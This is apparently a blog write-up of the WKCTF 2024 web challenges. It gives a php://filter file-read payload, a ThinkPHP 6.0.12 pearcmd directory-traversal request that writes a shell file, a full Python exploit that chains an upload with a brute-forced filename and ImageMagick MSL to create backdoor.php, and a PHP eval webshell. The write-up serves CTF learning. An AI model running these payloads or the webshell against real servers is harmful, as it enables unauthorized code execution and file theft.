WKCTF 2024--web

qiandao

简单的文件包含

提示说了flag在根目录下 ,直接利用php://filter 伪协议读文件

?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=/flag

ez_tp

ThinkPHP V6.0.12LTS
QVD-2022-46174
开启了多语言功能, 且存在 pear 扩展 , 通过lang参数和目录穿越实现文件包含

public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcm
d&/<?=phpinfo()?>+/var/www/html/shell.php

ez_php

官方给的wp
exp:

from time import sleep
import requests
def burpPNG():
    url = "http://127.0.0.1:8081/"
    session = requests.session()
    file = {'file': ('./backdoor.png', open('./backdoor.png', 'rb'))}
    session.post(url=url, files=file)
    for i in range(10000, 100000):
        response = session.get(f'{url}/{i}.png')
        if response.status_code == 200:
            print(f'上传的png图片:{url}{i}.png')
            break
    return i
def burpMSL():
    url = "http://127.0.0.1:8081/"
    for i in range(1000, 10000):
        session = requests.session()
        response = session.get(f'{url}{i}.msl')
        if response.status_code == 200:
            print(f'上传的msl文件:{url}{i}.msl')
            break
    return i
def create_mslfile(fileNum):
    url = "http://127.0.0.1:8081/"
    session = requests.session()
    content = f'''
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="./{fileNum}.png" />
<write filename="./backdoor.php" />
</image>
'''
    with open("backdoor.msl",'w') as file:
        file.write(content)
        file.close()
        file = {'file': ('./backdoor.msl', open('./backdoor.msl', 'rb'))}
        session.post(url=url, files=file)
def getShell(fileNum):
    content=f'''
为避免服务器误判为攻击,尝试访问如下地址:
http://127.0.0.1:8081/?backdoor=msl:./{fileNum}.msl
然后getshell地址为:
http://127.0.0.1:8081/backdoor.php?a=xxxxx
'''
    print(content)
if __name__ == '__main__':
    fileNUM=burpPNG()
    create_mslfile(fileNUM)
    mslNum=burpMSL()
    getShell(mslNum)

(环境崩了, 打不开, 分析一下代码作为复现了)
上传图片, 但是题目不会回显出上传的文件的路劲, 需要去爆破

为什么是 for i in range(10000, 100000): 应该是一般的上传文件的处理, 对上传的文件使用 随机数 进行重命名, 所以根据这个来爆破出文件路径
同理对上传的 msl文件 进行爆破路径

msl⽂件的写法:

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="./{fileNum}.png" />
<write filename="./backdoor.php" />
</image>

将爆破得到 的png图片的路径 里面的内容写入到 backdoor.php
(可以理解为改了个后缀, 以便能够执行 php代码 , 执行所想要的命令)

png图片里面的内容 应该就是一句话木马了(如果会做一些内容检查的话 ,应该就是一些常规的绕过了)

<?php @eval($_POST['cmd']);?>

signin

给了提示: twinhex
搜索一下可以发现是一种加密方式
https://github.com/htr-tech/0xTwin
有相应的工具

下载运行
python twin_cipher.py -d “文件给的一长串字符”

运行后是一串base64密文 , 是由一张图片转成的base64
将base64转成图片可以得到一张二维码. 扫描之后 : 请发送 WKCTF2024 到微信公众号隐雾安全获取flag!

最后得到的flag: WKCTF{hello_2024}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值